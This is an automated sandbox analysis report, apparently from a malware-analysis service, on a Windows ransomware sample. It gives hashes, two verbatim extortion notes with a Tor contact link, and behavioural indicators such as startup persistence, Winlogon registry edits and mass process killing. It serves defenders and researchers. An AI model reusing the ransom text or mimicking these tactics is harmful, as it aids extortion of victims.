779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc

Resubmissions

09-06-2021 13:16

210609-r4nkyx7ywn 10

28-05-2021 09:36

210528-w5abwajf3x 10

Analysis

max time kernel
78s
max time network
104s
platform
windows7_x64
resource
win7v20210408
submitted
09-06-2021 13:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
Size

233KB
MD5

96c565af56a5ba8339f35121bf9ff196
SHA1

2edae92d476225b00b4a7ea1e9d7f7ccfda462cb
SHA256

779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc
SHA512

6d4a3d91396bccae3dff43f6ee295980c1919a48f7914d9b8b6eca3e603aa97b8e05a0b78af27e7f1c86691fff6fc26fad69ddb774f8ed5d8011aa87b511b6c1

Score

10^/10

evasion persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

Ransom Note

YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified.(AES) No software available on internet can help you. We are the only ones able to decrypt your files. -------------------------------------------------------------------------------- We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. -------------------------------------------------------------------------------- As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after it's run. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. -------------------------------------------------------------------------------- !!!!!!!!!!!!!!!!!!!!!!!! If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future.. The price will increase over time. !!!!!!!!!!!!!!!!!!!!!!!!! -------------------------------------------------------------------------------- It doesn't matter to us what you choose pay us or we will sell your data. We only seek money and our goal is not to damage your reputation or prevent your business from running. Write to us now and we will provide the best prices. Instructions for contacting us: ____________________________________________________________________________________ You have way: 1) Using a TOR browser! a. Download and install TOR browser from this site: https://torproject.org/ b. Open the Tor browser. Copy the link: http://promethw27cbrcot.onion/ticket.php?track=LZG-ZNM-YDNM and paste it in the Tor browser. c. Start a chat and follow the further instructions. _____________________________________________________________________________________ Attention! Any attempt to restore your files with third-party software will corrupt it. Modify or rename files will result in a loose of data. If you decide to try anyway, make copies before that Key Identifier: JVdSL8xyECmCFcU/6H1aGCwj+DIC1veNzW+CuNa7ysXsHtdWQUDYhEyy6EORiPJs768qxtE0qj44l9wiWigQ9Tvq+Ly1L19t4o6ZYL5E0EgQTi/VxwCfov6RArY2gvrvRiGnOjbYyrL3y0JwXjwvHcrK+b8wfowFB7YTVxaXtyyIztKMlrNCP7T36PSP9JjGtYpXguPjX+QoGByf3twxbJl2nLnBBz1isilFoSYOvH454AML64D/dFOLf/z/Fy1BdZXgyp6aQ7dRW8+eBmMn47jy4GVR/o2G/0dSyecPXGlBVIiISm9jI6/RrQlgFKDsERox8xwLrITOmi3Swl/xMduCq+G5DHunyiUajaMwl1QzoHqhuvZevy7zqQ7U2ECqlvz4py4n8fqZGsak+mrdQD+80pKDn9WoGuAXPvYdilw+/C9jxexNkBtBDqmRFcCl8IVcCGIGh+Gf7mUuXNu8+35Fw37of8U9lPnkoBwDwvII9r0j0O9wqfMfqgFendT8bEXMqBbz3lleGbg6E7VIy2XgeeU+eS7bV9qx7WHKMEHQn5q8JFazwzG5cphjY9m+drO92pTJvWkq1RanVAFeZAT5mEQWvCFQ6ILubOc3vV+ehEUaW+O0FpNrKF7HzFO2p1Mkb80eHs4S3zcluIpvzrfiCyW6k0dO8Q8x7B1VEKI=

URLs

http://promethw27cbrcot.onion/ticket.php?track=LZG-ZNM-YDNM

Extracted

Path

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

Ransom Note

YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified.(AES) No software available on internet can help you. We are the only ones able to decrypt your files. We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after itâ€™s installation. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future.. The price will increase over time. It doesn't matter to us what you choose pay us or we will sell your data. We only seek money and our goal is not to damage your reputation or prevent your business from running. Write to us now and we will provide the best prices. Instructions for contacting us: You have way: 1) Using a TOR browser! a. Download and install TOR browser from this site: https://torproject.org/ b. Open the Tor browser. Copy the link: http://promethw27cbrcot.onion/ticket.php?track=LZG-ZNM-YDNM and paste it in the Tor browser. c. Start a chat and follow the further instructions. Attention! Any attempt to restore your files with third-party software will corrupt it. Modify or rename files will result in a loose of data. If you decide to try anyway, make copies before that Key Identifier: JVdSL8xyECmCFcU/6H1aGCwj+DIC1veNzW+CuNa7ysXsHtdWQUDYhEyy6EORiPJs768qxtE0qj44l9wiWigQ9Tvq+Ly1L19t4o6ZYL5E0EgQTi/VxwCfov6RArY2gvrvRiGnOjbYyrL3y0JwXjwvHcrK+b8wfowFB7YTVxaXtyyIztKMlrNCP7T36PSP9JjGtYpXguPjX+QoGByf3twxbJl2nLnBBz1isilFoSYOvH454AML64D/dFOLf/z/Fy1BdZXgyp6aQ7dRW8+eBmMn47jy4GVR/o2G/0dSyecPXGlBVIiISm9jI6/RrQlgFKDsERox8xwLrITOmi3Swl/xMduCq+G5DHunyiUajaMwl1QzoHqhuvZevy7zqQ7U2ECqlvz4py4n8fqZGsak+mrdQD+80pKDn9WoGuAXPvYdilw+/C9jxexNkBtBDqmRFcCl8IVcCGIGh+Gf7mUuXNu8+35Fw37of8U9lPnkoBwDwvII9r0j0O9wqfMfqgFendT8bEXMqBbz3lleGbg6E7VIy2XgeeU+eS7bV9qx7WHKMEHQn5q8JFazwzG5cphjY9m+drO92pTJvWkq1RanVAFeZAT5mEQWvCFQ6ILubOc3vV+ehEUaW+O0FpNrKF7HzFO2p1Mkb80eHs4S3zcluIpvzrfiCyW6k0dO8Q8x7B1VEKI=

URLs

http://promethw27cbrcot.onion/ticket.php?track=LZG-ZNM-YDNM

Signatures

Downloads MZ/PE file
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\CompressSplit.tiff	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
File opened for modification	C:\Users\Admin\Pictures\RepairGrant.tiff	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveRead.tiff	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

Deletes itself 1 IoCs

pid	Process
368	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO"	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED"	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 48 IoCs

evasion

pid	Process
1756	taskkill.exe
1324	taskkill.exe
948	taskkill.exe
1532	taskkill.exe
1436	taskkill.exe
760	taskkill.exe
1632	taskkill.exe
972	taskkill.exe
1420	taskkill.exe
288	taskkill.exe
1832	taskkill.exe
952	taskkill.exe
1548	taskkill.exe
640	taskkill.exe
548	taskkill.exe
1152	taskkill.exe
1704	taskkill.exe
552	taskkill.exe
1356	taskkill.exe
1624	taskkill.exe
1908	taskkill.exe
1632	taskkill.exe
456	taskkill.exe
1552	taskkill.exe
1760	taskkill.exe
2012	taskkill.exe
1700	taskkill.exe
1320	taskkill.exe
896	taskkill.exe
1096	taskkill.exe
856	taskkill.exe
1600	taskkill.exe
944	taskkill.exe
1484	taskkill.exe
1680	taskkill.exe
1908	taskkill.exe
344	taskkill.exe
1580	taskkill.exe
896	taskkill.exe
1672	taskkill.exe
1152	taskkill.exe
1620	taskkill.exe
368	taskkill.exe
1740	taskkill.exe
1940	taskkill.exe
1492	taskkill.exe
664	taskkill.exe
576	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1644	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1572	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

description	pid	Process
Token: SeDebugPrivilege	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
Token: SeDebugPrivilege	760	taskkill.exe
Token: SeDebugPrivilege	576	conhost.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	640	taskkill.exe
Token: SeDebugPrivilege	896	taskkill.exe
Token: SeDebugPrivilege	1152	taskkill.exe
Token: SeDebugPrivilege	1908	taskkill.exe
Token: SeDebugPrivilege	1624	taskkill.exe
Token: SeDebugPrivilege	972	taskkill.exe
Token: SeDebugPrivilege	1756	taskkill.exe
Token: SeDebugPrivilege	1680	taskkill.exe
Token: SeDebugPrivilege	1324	taskkill.exe
Token: SeDebugPrivilege	344	taskkill.exe
Token: SeDebugPrivilege	1420	taskkill.exe
Token: SeDebugPrivilege	948	taskkill.exe
Token: SeDebugPrivilege	1096	taskkill.exe
Token: SeDebugPrivilege	1620	taskkill.exe
Token: SeDebugPrivilege	288	taskkill.exe
Token: SeDebugPrivilege	368	taskkill.exe
Token: SeDebugPrivilege	1532	taskkill.exe
Token: SeDebugPrivilege	1700	taskkill.exe
Token: SeDebugPrivilege	2012	taskkill.exe
Token: SeDebugPrivilege	1320	taskkill.exe
Token: SeDebugPrivilege	548	taskkill.exe
Token: SeDebugPrivilege	856	taskkill.exe
Token: SeDebugPrivilege	1908	taskkill.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	1740	taskkill.exe
Token: SeDebugPrivilege	1832	taskkill.exe
Token: SeDebugPrivilege	1940	taskkill.exe
Token: SeDebugPrivilege	1580	taskkill.exe
Token: SeDebugPrivilege	1152	taskkill.exe
Token: SeDebugPrivilege	1704	taskkill.exe
Token: SeDebugPrivilege	1492	taskkill.exe
Token: SeDebugPrivilege	552	taskkill.exe
Token: SeDebugPrivilege	1436	taskkill.exe
Token: SeDebugPrivilege	896	taskkill.exe
Token: SeDebugPrivilege	456	taskkill.exe
Token: SeDebugPrivilege	952	taskkill.exe
Token: SeDebugPrivilege	1600	taskkill.exe
Token: SeDebugPrivilege	1356	taskkill.exe
Token: SeDebugPrivilege	1552	taskkill.exe
Token: SeDebugPrivilege	944	taskkill.exe
Token: SeDebugPrivilege	1672	taskkill.exe
Token: SeDebugPrivilege	664	taskkill.exe
Token: SeDebugPrivilege	1760	taskkill.exe
Token: SeDebugPrivilege	1484	taskkill.exe
Token: SeDebugPrivilege	1576	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 760	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	30
PID 1100 wrote to memory of 760	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	30
PID 1100 wrote to memory of 760	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	30
PID 1100 wrote to memory of 1120	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	32
PID 1100 wrote to memory of 1120	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	32
PID 1100 wrote to memory of 1120	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	32
PID 1100 wrote to memory of 1644	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	34
PID 1100 wrote to memory of 1644	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	34
PID 1100 wrote to memory of 1644	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	34
PID 1100 wrote to memory of 1356	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	36
PID 1100 wrote to memory of 1356	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	36
PID 1100 wrote to memory of 1356	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	36
PID 1100 wrote to memory of 1760	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	38
PID 1100 wrote to memory of 1760	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	38
PID 1100 wrote to memory of 1760	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	38
PID 1100 wrote to memory of 368	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	39
PID 1100 wrote to memory of 368	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	39
PID 1100 wrote to memory of 368	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	39
PID 1100 wrote to memory of 2032	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	41
PID 1100 wrote to memory of 2032	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	41
PID 1100 wrote to memory of 2032	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	41
PID 1100 wrote to memory of 820	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	42
PID 1100 wrote to memory of 820	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	42
PID 1100 wrote to memory of 820	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	42
PID 1100 wrote to memory of 1580	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	46
PID 1100 wrote to memory of 1580	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	46
PID 1100 wrote to memory of 1580	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	46
PID 1100 wrote to memory of 1740	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	48
PID 1100 wrote to memory of 1740	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	48
PID 1100 wrote to memory of 1740	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	48
PID 1100 wrote to memory of 1536	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	50
PID 1100 wrote to memory of 1536	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	50
PID 1100 wrote to memory of 1536	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	50
PID 1100 wrote to memory of 1088	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	51
PID 1100 wrote to memory of 1088	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	51
PID 1100 wrote to memory of 1088	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	51
PID 1100 wrote to memory of 920	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	53
PID 1100 wrote to memory of 920	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	53
PID 1100 wrote to memory of 920	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	53
PID 1100 wrote to memory of 576	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	125
PID 1100 wrote to memory of 576	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	125
PID 1100 wrote to memory of 576	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	125
PID 1100 wrote to memory of 640	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	57
PID 1100 wrote to memory of 640	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	57
PID 1100 wrote to memory of 640	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	57
PID 1100 wrote to memory of 1632	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	110
PID 1100 wrote to memory of 1632	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	110
PID 1100 wrote to memory of 1632	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	110
PID 1100 wrote to memory of 568	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	131
PID 1100 wrote to memory of 568	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	131
PID 1100 wrote to memory of 568	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	131
PID 1100 wrote to memory of 896	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	130
PID 1100 wrote to memory of 896	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	130
PID 1100 wrote to memory of 896	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	130
PID 1100 wrote to memory of 1152	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	118
PID 1100 wrote to memory of 1152	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	118
PID 1100 wrote to memory of 1152	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	118
PID 1100 wrote to memory of 1908	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	108
PID 1100 wrote to memory of 1908	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	108
PID 1100 wrote to memory of 1908	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	108
PID 1100 wrote to memory of 696	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	117
PID 1100 wrote to memory of 696	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	117
PID 1100 wrote to memory of 696	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	117
PID 1100 wrote to memory of 972	1100	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe	72

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED"	779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe
